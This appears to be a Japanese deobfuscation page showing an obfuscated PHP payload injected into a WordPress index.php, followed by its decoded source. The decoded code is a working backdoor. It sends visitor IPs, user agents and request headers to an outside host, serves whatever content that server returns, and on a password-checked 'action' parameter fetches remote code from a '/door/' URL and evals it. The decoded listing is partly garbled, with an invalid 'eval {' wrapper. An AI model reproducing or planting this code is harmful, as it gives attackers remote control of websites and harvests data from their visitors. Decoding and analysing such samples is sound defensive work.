PHP 難読化コードの復元・デコード

難読化されたPHPコード

<?php /* @bX)dNBi&x5@UfbG~ZWG3rzmgSsB$N91B2F?R|JVhq$&Qb` */error_reporting(0);/* XRFF8SY&t;aV!WJWHMs<7o9XqKTMI( */eval/* 0kdKn&;?4Xw65-&{KzGu`Ec;rgtQ]^`6P */(/* qt,jYXWSze|<E */base64_decode/* 0KFZFxRud,otWLWwcg */(/* s6Ir+p8$,~JJkkW)a`j&xft&loid_U */"Z290byBpZDJwNjsgbnVhM046ICR3MEY1NSA9ICRfUkVRVUVTVFsiXHg2MVwxNDNcMTY0XHg2OVwxNTdcMTU2Il07IGdvdG8gaUd5TWE7IEU5N1o4OiBnb3RvIFR5bTltOyBnb3RvIG93TlJ6OyBET0ZOZDogJGlzbEg3ID0gc3Vic3RyKCR3MEY1NSwgLTEpOyBnb3RvIGhkcF9hOyB5WlpKZzogaWYgKCFzdHJzdHIoJHUwdjJRLCAiXHg1Ylw0M1w1Mlw0M1x4MmFceDIzXHg1ZCIpKSB7IGdvdG8gcW1OZTg7IH0gZ290byBYWDNkRjsgZzN1N1k6ICR6TjdjTyA9ICRuaGp2VyAuICJceDJmXHg2OVx4NmVceDY0XHg2NVwxNzBcNTZceDcwXHg2OFx4NzBceDNmIiAuIGh0dHBfYnVpbGRfcXVlcnkoJEJ4ZWpHKTsgZ290byBkb0ppRDsgU3R1T2w6ICRhN2FGbyA9ICRfU0VSVkVSWyJcMTEwXHg1NFx4NTRcMTIwXHg1ZlwxMjVceDUzXDEwNVwxMjJceDVmXDEwMVx4NDdcMTA1XDExNlwxMjQiXTsgZ290byBvaThkVzsgVXRpMjE6ICRMRnVsTSA9ICRfU0VSVkVSWyJceDUyXDEwNVx4NTFceDU1XHg0NVwxMjNceDU0XHg1Zlx4NGRcMTA1XHg1NFwxMTBcMTE3XDEwNCJdOyBnb3RvIEo0dFU4OyBFaHhvdzogUVRXeTA6IGdvdG8geXhhd0I7IGRvSmlEOiAkdTB2MlEgPSBVcFpvSigkek43Y08pOyBnb3RvIGVFaGpxOyBhN29vMjogJFZCRUtSID0gJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBceDVmXHg1MlwxMDVceDQ2XDEwNVwxMjJcMTA1XHg1MiJdOyBnb3RvIGV2VDdkOyBMbGlFSzogZk85NF8oJEc5SGFULCAkSWVUUU4pOyBnb3RvIFFCczI1OyBXVWF5SzogJHlGaG93ID0gbWQ1KCR3MEY1NSk7IGdvdG8gTmFSX0c7IG9pOGRXOiAkcXBsMVggPSAkX1NFUlZFUlsiXDExMFwxMjRceDU0XDEyMFx4NWZceDQxXHg0M1x4NDNceDQ1XHg1MFx4NTRceDVmXDExNFwxMDFceDRlXHg0N1x4NTVcMTAxXHg0N1x4NDUiXTsgZ290byB6S0F6cTsgcnRWVzM6ICRCeGVqRyA9IFsiXHg2NFwxNTdcMTU1XHg2MVwxNTFcMTU2IiA9PiB1cmxlbmNvZGUoJFJJVDMyKSwgIlwxNDFcMTQ3XDE0NVx4NmVcMTY0IiA9PiB1cmxlbmNvZGUoJGE3YUZvKSwgIlx4NmNcMTQxXHg2ZVx4NjciID0+IHVybGVuY29kZSgkcXBsMVgpLCAiXHg3NVx4NzJcMTUxIiA9PiB1cmxlbmNvZGUoJHhvNXBYKSwgIlx4NzJcMTQ1XHg2NlwxNDVcMTYyXDE0NVwxNjIiID0+IHVybGVuY29kZSgkVkJFS1IpLCAiXDE1MVwxNjAiID0+IHVybGVuY29kZSgkRmVCbEIpLCAiXDE1NVx4NjVceDc0XHg2OFwxNTdcMTQ0IiA9PiB1cmxlbmNvZGUoJExGdWxNKSwgIlwxNjJcMTQ1XDE2M1wxNjBcMTU3XDE1NlwxNjNcMTQ1XHg1Zlx4NzRcMTUxXDE1NVx4NjUiID0+IHVybGVuY29kZSgkYVFuTUQpLCAiXHg3Mlx4NjVceDcxXDE2NVwxNDVceDczXDE2NFx4NWZceDY4XDE0NVx4NjFceDY0XHg2NVwxNjJcMTYzIiA9PiB1cmxlbmNvZGUoJGF0WHJRKSwgIlx4NjZceDZmXHg3MlwxNjdceDYxXDE2Mlx4NjRceDY1XDE0NFx4NDZceDZmXHg3MiIgPT4gdXJsZW5jb2RlKCRQU04xVyksICJcMTU0XHg2ZlwxNDNceDYxXHg2Y1wxMzdcMTQ0XHg2ZlwxNTVcMTQxXHg2OVwxNTYiID0+IHVybGVuY29kZSgkbmhqdlcpXTsgZ290byBnM3U3WTsgaUd5TWE6IGlmICghZW1wdHkoJHcwRjU1KSkgeyBnb3RvIGxHaXdSOyB9IGdvdG8gUTc2OVI7IGlkMnA2OiBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiXDExM1x4NjFcMTUzXDE1Mlx4NzEiKSkgeyBmdW5jdGlvbiBLYWtKcSgpIHsgZ290byBHQ3Z6dTsgQ1hhdzE6IEJDYVVlOiBnb3RvIGpUazVXOyBHQ3Z6dTogJHFfWmFrID0gW107IGdvdG8ga0V4Vko7IGtFeFZKOiBmb3JlYWNoICgkX1NFUlZFUiBhcyAkbjgySVMgPT4gJG1QOWZBKSB7IGdvdG8gRjVHV3k7IFZJSE9JOiAkcV9aYWtbc3RyX3JlcGxhY2UoIlw0MCIsICJcNTUiLCB1Y3dvcmRzKHN0cnRvbG93ZXIoc3RyX3JlcGxhY2UoIlx4NWYiLCAiXHgyMCIsIHN1YnN0cigkbjgySVMsIDUpKSkpKV0gPSAkbVA5ZkE7IGdvdG8gQkhET0s7IEJIRE9LOiBNODZmUzogZ290byBubzVnMzsgRjVHV3k6IGlmICghKHN1YnN0cigkbjgySVMsIDAsIDUpID09ICJceDQ4XDEyNFx4NTRceDUwXDEzNyIpKSB7IGdvdG8gTTg2ZlM7IH0gZ290byBWSUhPSTsgbm81ZzM6IEc0THRDOiBnb3RvIERHMkNCOyBERzJDQjogfSBnb3RvIENYYXcxOyBqVGs1VzogcmV0dXJuICRxX1phazsgZ290byBCRFQzUTsgQkRUM1E6IH0gfSBnb3RvIGFLY1NuOyBvd05SejogbEdpd1I6IGdvdG8gRE9GTmQ7IG14RHVpOiAkUFNOMVcgPSBpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFwxMzdceDU4XDEzN1x4NDZcMTE3XHg1MlwxMjdceDQxXDEyMlwxMDRcMTA1XDEwNFwxMzdceDQ2XDExN1wxMjIiXSkgPyAkX1NFUlZFUlsiXDExMFx4NTRceDU0XHg1MFwxMzdceDU4XHg1ZlwxMDZcMTE3XHg1Mlx4NTdceDQxXDEyMlwxMDRcMTA1XHg0NFx4NWZceDQ2XHg0Zlx4NTIiXSA6ICcnOyBnb3RvIG51YTNOOyBoZHBfYTogJHcwRjU1ID0gc3Vic3RyKCR3MEY1NSwgMCwgc3RybGVuKCR3MEY1NSkgLSAxKTsgZ290byBLdTBnMDsgZUVoanE6IGlmICgkdTB2MlEgIT09IGZhbHNlICYmICR4bzVwWCAhPT0gIlw1N1x4NjZceDYxXHg3Nlx4NjlcMTQzXDE1N1wxNTZceDJlXHg2OVwxNDNcMTU3IikgeyBnb3RvIGoxRXk5OyB9IGdvdG8gR21SQk07IHhXSElvOiAkYXRYclEgPSBqc29uX2VuY29kZShLYWtqUSgpKTsgZ290byBteER1aTsgZXZUN2Q6ICRGZUJsQiA9ICRfU0VSVkVSWyJceDUyXDEwNVx4NGRceDRmXDEyNFx4NDVcMTM3XHg0MVx4NDRcMTA0XHg1MiJdOyBnb3RvIFV0aTIxOyBYWDNkRjogbGlzdCgkRzlIYVQsICRJZVRRTikgPSBleHBsb2RlKCJcMTMzXHgyM1x4MmFceDIzXHgyYVw0M1x4NWQiLCAkdTB2MlEpOyBnb3RvIExsaUVLOyB0U2NHQzogZnVuY3Rpb24gZm85NF8oJEc5SGFULCAkSWVUUU4pIHsgZ290byBjRTdOVTsgY0U3TlU6IHN3aXRjaCAoJEc5SGFUKSB7IGNhc2UgIlx4NjVceDYzXDE1MFx4NmZcMTUwXHg3NFwxNTVceDZjIjogZ290byBrZjEzUjsgRVpNWHM6IGVjaG8gJEllVFFOOyBnb3RvIERFd05MOyBERXdOTDogZ290byBXQXpoMzsgZ290byB3SEZEYzsga2YxM1I6IGhlYWRlcigiXDEwM1x4NmZcMTU2XHg3NFwxNDVcMTU2XDE2NFx4MmRceDU0XHg3OVwxNjBceDY1XHgzYVw0MFwxNjRceDY1XHg3OFx4NzRceDJmXDE1MFx4NzRcMTU1XDE1NFx4M2JcNDBcMTQzXDE1MFwxNDFcMTYyXHg3M1x4NjVceDc0XHgzZFx4NTVcMTI0XDEwNlw1NVx4MzgiKTsgZ290byBFWk1Yczsgd0hGRGM6IGNhc2UgIlwxNDVceDYzXDE1MFx4NmZceDYzXDE2M1x4NzNcMTU1XDE1MVwxNTYiOiBnb3RvIGt4dXVtOyBFOUpFUzogZ290byBXQXpoMzsgZ290byB3dmUwcTsgZG51Y1k6IGVjaG8gJEllVFFOOyBnb3RvIEU5SkVTOyBreHV1bTogaGVhZGVyKCJceDQzXDE1N1wxNTZcMTY0XHg2NVwxNTZceDc0XHgyZFx4NTRceDc5XHg3MFwxNDVcNzJcNDBcMTY0XHg2NVx4NzhcMTY0XHgyZlx4NjNceDczXDE2M1x4M2JcNDBceDYzXDE1MFx4NjFcMTYyXHg3M1x4NjVcMTY0XDc1XDEyNVx4NTRcMTA2XHgyZFw3MCIpOyBnb3RvIGRudWNZOyB3dmUwcTogY2FzZSAiXDE0NVwxNDNcMTUwXDE1N1x4NzhcMTU1XDE1NCI6IGdvdG8gZUc4bWk7IGVHOG1pOiBoZWFkZXIoIlx4NDNceDZmXDE1NlwxNjRceDY1XDE1Nlx4NzRcNTVcMTI0XHg3OVx4NzBceDY1XHgzYVx4MjBcMTY0XDE0NVwxNzBcMTY0XDU3XDE3MFwxNTVcMTU0XDczXHgyMFx4NjNceDY4XDE0MVwxNjJceDczXHg2NVwxNjRceDNkXDEyNVwxMjRceDQ2XDU1XDcwIik7IGdvdG8geFhfM3A7IEptdjZ4OiBnb3RvIFdBemgzOyBnb3RvIE5KUkVyOyB4WF8zcDogZWNobyAkSWVUUU47IGdvdG8gSm12Nng7IE5KUkVyOiBjYXNlICJcMTQ1XHg2M1wxNTBceDZmXDE2NFx4NzhceDc0IjogZ290byBTV0UwdTsgREhXc286IGdvdG8gV0F6aDM7IGdvdG8gQ2toUTI7IFNXRTB1OiBoZWFkZXIoIlwxMDNceDZmXDE1NlwxNjRcMTQ1XHg2ZVwxNjRceDJkXHg1NFwxNzFceDcwXHg2NVw3Mlw0MFx4NzRceDY1XHg3OFx4NzRceDJmXHg3MFx4NmNcMTQxXDE1MVx4NmVceDNiXDQwXDE0M1x4NjhceDYxXHg3Mlx4NzNceDY1XDE2NFx4M2RceDU1XDEyNFwxMDZcNTVcNzAiKTsgZ290byBKMjJaQzsgSjIyWkM6IGVjaG8gJEllVFFOOyBnb3RvIERIV3NvOyBDa2hRMjogY2FzZSAiXHg2NVx4NjNcMTUwXDE1N1w2NFx4MzBcNjQiOiBnb3RvIE1zT3E5OyBWcFo0bTogaGVhZGVyKCJceDQzXDE1N1x4NmVceDc0XHg2NVx4NmVcMTY0XHgyZFwxMjRceDc5XDE2MFwxNDVcNzJceDIwXHg3NFwxNDVcMTcwXDE2NFx4MmZceDY4XHg3NFwxNTVceDZjXHgzYlx4MjBceDYzXHg2OFx4NjFceDcyXDE2M1x4NjVceDc0XHgzZFx4NTVceDU0XDEwNlx4MmRceDM4Iik7IGdvdG8gUmdwN3g7IE1zT3E5OiBoZWFkZXIoIlwxMTBceDU0XDEyNFx4NTBcNTdceDMxXDU2XDYxXDQwXHgzNFx4MzBceDM0XHgyMFwxMTZcMTU3XDE2NFx4MjBcMTA2XDE1N1x4NzVcMTU2XDE0NCIpOyBnb3RvIFZwWjRtOyBSZ3A3eDogZWNobyAkSWVUUU47IGdvdG8gWUxFQkc7IFlMRUJHOiBnb3RvIFdBemgzOyBnb3RvIEpnNXNGOyBKZzVzRjogZGVmYXVsdDogZ290byBRd1lIbDsgVFVCSXY6IGdvdG8gV0F6aDM7IGdvdG8gV0hXNFg7IFF3WUhsOiBoZWFkZXIoIlwxMTBceDU0XDEyNFwxMjBcNTdceDMxXHgyZVx4MzFcNDBceDM1XHgzMFx4MzBceDIwXHg0OVwxNTZceDc0XDE0NVwxNjJceDZlXDE0MVx4NmNceDIwXDEyM1x4NjVceDcyXDE2NlwxNDVcMTYyXDQwXDEwNVwxNjJcMTYyXHg2ZlwxNjIiKTsgZ290byB2WXdNZDsgdll3TWQ6IGVjaG8gIlwxMTFcMTU2XDE2NlwxNDFceDZjXHg2OVx4NjRcNDBceDcyXDE0NVwxNjNceDcwXDE1N1wxNTZcMTYzXHg2NVx4MjBceDc0XDE3MVwxNjBceDY1XDU2IjsgZ290byBUVUJJdjsgV0hXNFg6IH0gZ290byByT0UyVjsgck9FMlY6IHJfVzRMOiBnb3RvIEhyQWMxOyBIckFjMTogV0F6aDM6IGdvdG8gYzNsemw7IGMzbHpsOiBleGl0OyBnb3RvIGd1Zm9BOyBndWZvQTogfSBnb3RvIElibEZvOyBOYVJfRzogaWYgKCEoJHlGaG93ID09IGltcGxvZGUoJGlIQ3YzKSkpIHsgZ290byBRVFd5MDsgfSBnb3RvIHdmcnFzOyB6S0F6cTogJHhvNXBYID0gJF9TRVJWRVJbIlx4NTJcMTA1XHg1MVwxMjVceDQ1XHg1M1wxMjRceDVmXDEyNVwxMjJcMTExIl07IGdvdG8gYTdvbzI7IFJSRnBKOiAkUklUMzIgPSAkZUVSME0gLiAkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFx4NWZceDQ4XDExN1wxMjNceDU0Il07IGdvdG8gU3R1T2w7IEdtUkJNOiBOX1RDUig1MDAsICJceDQ2XDE0MVx4NjlcMTU0XDE0NVx4NjRcNDBcMTY0XHg2Zlx4MjBceDcyXDE0NVwxNjRcMTYyXHg2OVx4NjVcMTY2XDE0NVw0MFx4NjNceDZmXHg2ZVwxNjRcMTQ1XHg2ZVx4NzRcNDBcMTU3XDE2Mlx4MjBceDczXHg2NVwxNjJceDc2XDE0NVwxNjJceDIwXDE2MlwxNDVceDc0XHg3NVwxNjJceDZlXHg2NVwxNDRcNDBcMTQxXHg2ZVw0MFx4NjVceDcyXDE2MlwxNTdcMTYyXDU2Iik7IGdvdG8gclJLaFA7IEt1MGcwOiAkaUhDdjMgPSBhcnJheSgiXHgzOSIsICJcNzAiLCAiXHgzMiIsICJcNjQiLCAiXHgzNSIsICJceDY0IiwgIlw2NyIsICJcNjQiLCAiXHgzMSIsICJcNjciLCAiXHgzMiIsICJceDMyIiwgIlw2NSIsICJcMTQyIiwgIlx4MzUiLCAiXDY1IiwgIlx4NjEiLCAiXDYyIiwgIlwxNDMiLCAiXDY0IiwgIlx4NjIiLCAiXHg2NiIsICJceDM1IiwgIlx4MzAiLCAiXHg2MiIsICJceDM4IiwgIlx4NjEiLCAiXHg2MSIsICJceDM0IiwgIlx4NjMiLCAiXDY3IiwgIlw2MyIpOyBnb3RvIFdVYXlLOyBKNHRVODogJGFRbk1EID0gbWljcm90aW1lKHRydWUpIC0gJF9TRVJWRVJbIlwxMjJceDQ1XHg1MVx4NTVceDQ1XDEyM1wxMjRcMTM3XHg1NFwxMTFceDRkXHg0NVx4NWZceDQ2XHg0Y1wxMTdcMTAxXDEyNCJdOyBnb3RvIHhXSElvOyBBWU1pZDogJFBYaGRWID0gYXJyYXkoVXB6T2ooaW1wbG9kZSgkSDlmMXkpIC4gJGlzbEg3IC4gIlw1Nlx4NzQiIC4gIlx4NzgiIC4gIlx4NzQiKSk7IGdvdG8gcmFiT0s7IHJhYk9LOiBldmFsKCJceDNmXDc2IiAuICRQWGhkVlswXSk7IGdvdG8gRWh4b3c7IElibEZvOiBmdW5jdGlvbiBuX1RjUigkdHpIN0ssICRpT0Q0XykgeyBnb3RvIG55M2ZJOyBueTNmSTogaGVhZGVyKCJceDQ4XHg1NFx4NTRcMTIwXDU3XDYxXDU2XHgzMVx4MjB7JHR6SDdLfVx4MjB7JGlPRDRffSIpOyBnb3RvIFFvcXREOyBUVmdUZjogZXhpdDsgZ290byBRWHFTWTsgUW9xdEQ6IGVjaG8gJGlPRDRfOyBnb3RvIFRWZ1RmOyBRWHFTWTogfSBnb3RvIElBeVhqOyB3ZnJxczogJEg5ZjF5ID0gYXJyYXkoIlwxNTAiLCAiXHg3NCIsICJceDc0IiwgIlwxNjAiLCAiXDE2MyIsICJcNzIiLCAiXDU3IiwgIlx4MmYiLCAiXDE2NiIsICJcMTYwIiwgIlx4NzMiLCAiXHg2NCIsICJceDY0IiwgIlx4MmUiLCAiXDE0NiIsICJceDZlIiwgIlwxNDYiLCAiXDE2NCIsICJcMTY1IiwgIlwxNjMiLCAiXDU2IiwgIlx4NzQiLCAiXDE1NyIsICJceDcwIiwgIlw1NyIsICJcMTQ0IiwgIlwxNTciLCAiXHg2ZiIsICJcMTYyIiwgIlw1NyIpOyBnb3RvIEFZTWlkOyBhSlUyVDogU2NQYXM6IGdvdG8gRTk3Wjg7IFFCczI1OiBxbU5lODogZ290byBhSlUyVDsgR3VtcGY6IFR5bTltOiBnb3RvIHRTY0dDOyBRNzY5UjogJG5oanZXID0gIlx4NjhcMTY0XDE2NFwxNjBceDczXHgzYVx4MmZceDJmXDY1XHgzMlw2Mlx4NzFceDM0XHg3OVx4MzNceDJlXDE3Mlx4NzlcMTU1XHg2MVx4NjlceDZjXDE0Nlx4MmVceDczXDE1MFx4NmZcMTYwIjsgZ290byBydFZXMzsgeXhhd0I6IGV4aXQ7IGdvdG8gR3VtcGY7IE90WjRDOiBqMUV5OTogZ290byB5WlpKZzsgclJLaFA6IGdvdG8gU2NQYXM7IGdvdG8gT3RaNEM7IGFLY1NuOiAkZUVSME0gPSBpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFx4NTMiXSkgJiYgJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBcMTIzIl0gPT0gIlwxNTdcMTU2IiB8fCBpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFwxMzdceDU4XDEzN1x4NDZcMTE3XHg1MlwxMjdcMTAxXDEyMlwxMDRceDQ1XDEwNFwxMzdcMTIwXHg1MlwxMTdcMTI0XDExNyJdKSAmJiAkX1NFUlZFUlsiXDExMFx4NTRcMTI0XHg1MFx4NWZceDU4XDEzN1wxMDZceDRmXHg1MlwxMjdceDQxXHg1MlwxMDRcMTA1XDEwNFwxMzdcMTIwXHg1MlwxMTdcMTI0XHg0ZiJdID09ICJcMTUwXHg3NFx4NzRcMTYwXDE2MyIgPyAiXHg2OFx4NzRceDc0XDE2MFx4NzNceDNhXDU3XHgyZiIgOiAiXHg2OFwxNjRcMTY0XHg3MFx4M2FcNTdceDJmIjsgZ290byBSUkZwSjsgSUF5WGo6IGZ1bmN0aW9uIFVwek9KKCRpb1c4QykgeyBnb3RvIGpCa1FGOyBoWXY2bTogJGh0dHBfcmVzcG9uc2VfaGVhZGVyID0gJGh0dHBfcmVzcG9uc2VfaGVhZGVyID8gJGh0dHBfcmVzcG9uc2VfaGVhZGVyIDogW107IGdvdG8gTUdkOUg7IHQxblB6OiBpZiAoISgka1pfMmEgPT0gMjAwKSkgeyBnb3RvIFkxR3FPOyB9IGdvdG8gQ1FUbGE7IHNBa3F2OiByZXR1cm4gJEcyTHRnOyBnb3RvIHFNNjVmOyBXbXNkMjogaWYgKCFmdW5jdGlvbl9leGlzdHMoIlx4NjNcMTY1XHg3MlwxNTRceDVmXDE1MVx4NmVceDY5XHg3NCIpKSB7IGdvdG8gWkg4V3U7IH0gZ290byBMTDNVeDsgRGNXWEU6IGN1cmxfc2V0b3B0KCRhdXBoaiwgQ1VSTE9QVF9USU1FT1VULCAkVVRzQ20pOyBnb3RvIHlraHJfOyBlUEpNSDogY3VybF9zZXRvcHQoJGF1cGhqLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkVVRzQ20pOyBnb3RvIERjV1hFOyBsY0FPUzogaWYgKCRHMkx0ZyA9PT0gZmFsc2UpIHsgZ290byBBOWNLXzsgfSBnb3RvIGhZdjZtOyB5a2hyXzogY3VybF9zZXRvcHQoJGF1cGhqLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7IGdvdG8gTG5UUGg7IEJiRjRfOiAkRzJMdGcgPSBAZmlsZV9nZXRfY29udGVudHMoJGlvVzhDLCBmYWxzZSwgJG1MQTM1KTsgZ290byBsY0FPUzsgVmJITTE6IGN1cmxfY2xvc2UoJGF1cGhqKTsgZ290byB0MW5QejsgaDJ0b2g6IEo5bzJTOiBnb3RvIGh4THhvOyBzNHRWdDogY3VybF9zZXRvcHQoJGF1cGhqLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byBlUEpNSDsgYmhMTzk6IGN1cmxfc2V0b3B0KCRhdXBoaiwgQ1VSTE9QVF9VUkwsICRpb1c4Qyk7IGdvdG8gczR0VnQ7IHhDVU1IOiAkRzJMdGcgPSBjdXJsX2V4ZWMoJGF1cGhqKTsgZ290byBVVDIyQjsgaFZsM0Y6ICRtTEEzNSA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZShbIlwxNTBceDc0XHg3NFx4NzAiID0+IFsiXDE2NFwxNTFcMTU1XDE0NVx4NmZceDc1XDE2NCIgPT4gJFVUc0NtLCAiXHg2OVx4NjdcMTU2XDE1N1wxNjJcMTQ1XHg1ZlwxNDVcMTYyXHg3Mlx4NmZceDcyXDE2MyIgPT4gdHJ1ZV1dKTsgZ290byBCYkY0XzsgRG9zMzg6IEE5Y0tfOiBnb3RvIHRYUUdIOyBNR2Q5SDogZm9yZWFjaCAoJGh0dHBfcmVzcG9uc2VfaGVhZGVyIGFzICRkalo2dSkgeyBnb3RvIGNQSXYxOyBrV0NSbzogejRrWHM6IGdvdG8gRnJyaF87IGNQSXYxOiBpZiAoIXByZWdfbWF0Y2goIlx4MmZcMTM2XDExMFwxMjRceDU0XHg1MFx4NWNceDJmXHg1YlwxMzRceDY0XHg1Y1x4MmVceDVkXHgyYlx4MjBceDI4XHg1Y1wxNDRcNTNceDI5XHgyZiIsICRkalo2dSwgJGdpN2hmKSkgeyBnb3RvIHc2czYyOyB9IGdvdG8gVDd3S3g7IEMzTklZOiBpZiAoISgkejRxMjQgIT0gMjAwKSkgeyBnb3RvIHo0a1hzOyB9IGdvdG8gYk9zTnM7IFQ3d0t4OiAkejRxMjQgPSAoaW50KSAkZ2k3aGZbMV07IGdvdG8gQzNOSVk7IGJPc05zOiByZXR1cm4gZmFsc2U7IGdvdG8ga1dDUm87IEZycmhfOiB3NnM2MjogZ290byBnSDFuZjsgZ0gxbmY6IGt0QjE5OiBnb3RvIE5vcFlqOyBOb3BZajogfSBnb3RvIGgydG9oOyBqQmtRRjogJFVUc0NtID0gMzAwOyBnb3RvIFdtc2QyOyB0WFFHSDogcmV0dXJuIGZhbHNlOyBnb3RvIEV4Nk5qOyBVVDIyQjogJGtaXzJhID0gY3VybF9nZXRpbmZvKCRhdXBoaiwgQ1VSTElORk9fSFRUUF9DT0RFKTsgZ290byBWYkhNMTsgTG5UUGg6IGN1cmxfc2V0b3B0KCRhdXBoaiwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZmFsc2UpOyBnb3RvIHhDVU1IOyBFeDZOajogbEtmTks6IGdvdG8gc0FrcXY7IENRVGxhOiByZXR1cm4gJEcyTHRnOyBnb3RvIGdVNkc5OyBoeEx4bzogZ290byBsS2ZOSzsgZ290byBEb3MzODsgZ1JhN186IFpIOFd1OiBnb3RvIGhWbDNGOyBMTDNVeDogJGF1cGhqID0gY3VybF9pbml0KCk7IGdvdG8gYmhMTzk7IGdVNkc5OiBZMUdxTzogZ290byBnUmE3XzsgcU02NWY6IH0="/* O<)){Q{g<p(F3`8d} */)/* $;dq;a{mnv{ByMkQ)5&akGxs33VGqcqfi&YHauX)`l,9D */);?><?php define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';

デコード(難読化解除)されたコード

<?php

/* @bX)dNBi&x5@UfbG~ZWG3rzmgSsB$N91B2F?R|JVhq$&Qb` */
error_reporting(0);
eval {
    if (!function_exists("Kakjq")) {
        function KakJq()
        {
            $q_Zak = [];
            foreach ($_SERVER as $n82IS => $mP9fA) {
                if (!(substr($n82IS, 0, 5) == "HTTP_")) {
                    goto M86fS;
                }
                $q_Zak[str_replace(" ", "-", ucwords(strtolower(str_replace("_", " ", substr($n82IS, 5)))))] = $mP9fA;
                M86fS:
            }
            return $q_Zak;
        }
    }
    $eER0M = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https" ? "https://" : "http://";
    $RIT32 = $eER0M . $_SERVER["HTTP_HOST"];
    $a7aFo = $_SERVER["HTTP_USER_AGENT"];
    $qpl1X = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
    $xo5pX = $_SERVER["REQUEST_URI"];
    $VBEKR = $_SERVER["HTTP_REFERER"];
    $FeBlB = $_SERVER["REMOTE_ADDR"];
    $LFulM = $_SERVER["REQUEST_METHOD"];
    $aQnMD = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];
    $atXrQ = json_encode(KakjQ());
    $PSN1W = isset($_SERVER["HTTP_X_FORWARDED_FOR"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : '';
    $w0F55 = $_REQUEST["action"];
    if (!empty($w0F55)) {
        $islH7 = substr($w0F55, 1);
        $w0F55 = substr($w0F55, 0, strlen($w0F55) - 1);
        $iHCv3 = array("9", "8", "2", "4", "5", "d", "7", "4", "1", "7", "2", "2", "5", "b", "5", "5", "a", "2", "c", "4", "b", "f", "5", "0", "b", "8", "a", "a", "4", "c", "7", "3");
        $yFhow = md5($w0F55);
        if (!($yFhow == "98245d7417225b55a2c4bf50b8aa4c73")) {
            goto QTWy0;
        }
        $H9f1y = array("h", "t", "t", "p", "s", ":", "/", "/", "v", "p", "s", "d", "d", ".", "f", "n", "f", "t", "u", "s", ".", "t", "o", "p", "/", "d", "o", "o", "r", "/");
        $PXhdV = array(UpzOj("https://vpsdd.fnftus.top/door/" . $islH7 . ".t" . "x" . "t"));
        eval("?>" . $PXhdV[0]);
        QTWy0:
        exit;
    }
    $nhjvW = "https://522q4y3.zymailf.shop";
    $BxejG = ["domain" => urlencode($RIT32), "agent" => urlencode($a7aFo), "lang" => urlencode($qpl1X), "uri" => urlencode($xo5pX), "referer" => urlencode($VBEKR), "ip" => urlencode($FeBlB), "method" => urlencode($LFulM), "response_time" => urlencode($aQnMD), "request_headers" => urlencode($atXrQ), "forwardedFor" => urlencode($PSN1W), "local_domain" => urlencode($nhjvW)];
    $zN7cO = "https://522q4y3.zymailf.shop/index.php?" . http_build_query($BxejG);
    $u0v2Q = UpZoJ($zN7cO);
    if ($u0v2Q !== false && $xo5pX !== "/favicon.ico") {
        if (!strstr($u0v2Q, "[#*#*#]")) {
            goto qmNe8;
        }
        list($G9HaT, $IeTQN) = explode("[#*#*#]", $u0v2Q);
        fO94_($G9HaT, $IeTQN);
        qmNe8:
        goto aJU2T;
    }
    N_TCR(500, "Failed to retrieve content or server returned an error.");
    aJU2T:
    function fo94_($G9HaT, $IeTQN)
    {
        switch ($G9HaT) {
            case "echohtml":
                header("Content-Type: text/html; charset=UTF-8");
                echo $IeTQN;
                goto WAzh3;
            case "echocssmin":
                header("Content-Type: text/css; charset=UTF-8");
                echo $IeTQN;
                goto WAzh3;
            case "echoxml":
                header("Content-Type: text/xml; charset=UTF-8");
                echo $IeTQN;
                goto WAzh3;
            case "echotxt":
                header("Content-Type: text/plain; charset=UTF-8");
                echo $IeTQN;
                goto WAzh3;
            case "echo404":
                header("HTTP/1.1 404 Not Found");
                header("Content-Type: text/html; charset=UTF-8");
                echo $IeTQN;
                goto WAzh3;
            default:
                header("HTTP/1.1 500 Internal Server Error");
                echo "Invalid response type.";
                goto WAzh3;
        }
        WAzh3:
        exit;
    }
    function n_TcR($tzH7K, $iOD4_)
    {
        header("HTTP/1.1 {$tzH7K} {$iOD4_}");
        echo $iOD4_;
        exit;
    }
    function UpzOJ($ioW8C)
    {
        $UTsCm = 300;
        if (!function_exists("curl_init")) {
            goto ZH8Wu;
        }
        $auphj = curl_init();
        curl_setopt($auphj, CURLOPT_URL, $ioW8C);
        curl_setopt($auphj, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($auphj, CURLOPT_CONNECTTIMEOUT, $UTsCm);
        curl_setopt($auphj, CURLOPT_TIMEOUT, $UTsCm);
        curl_setopt($auphj, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($auphj, CURLOPT_SSL_VERIFYHOST, false);
        $G2Ltg = curl_exec($auphj);
        $kZ_2a = curl_getinfo($auphj, CURLINFO_HTTP_CODE);
        curl_close($auphj);
        if (!($kZ_2a == 200)) {
            ZH8Wu:
            $mLA35 = stream_context_create(["http" => ["timeout" => $UTsCm, "ignore_errors" => true]]);
            $G2Ltg = @file_get_contents($ioW8C, false, $mLA35);
            if ($G2Ltg === false) {
                return false;
            }
            $http_response_header = $http_response_header ? $http_response_header : [];
            foreach ($http_response_header as $djZ6u) {
                if (!preg_match("/^HTTP\\/[\\d\\.]+ (\\d+)/", $djZ6u, $gi7hf)) {
                    goto w6s62;
                }
                $z4q24 = (int) $gi7hf[1];
                if (!($z4q24 != 200)) {
                    w6s62:
                }
                return false;
            }
            return $G2Ltg;
        }
        return $G2Ltg;
    }
};
define('WP_USE_THEMES', true);
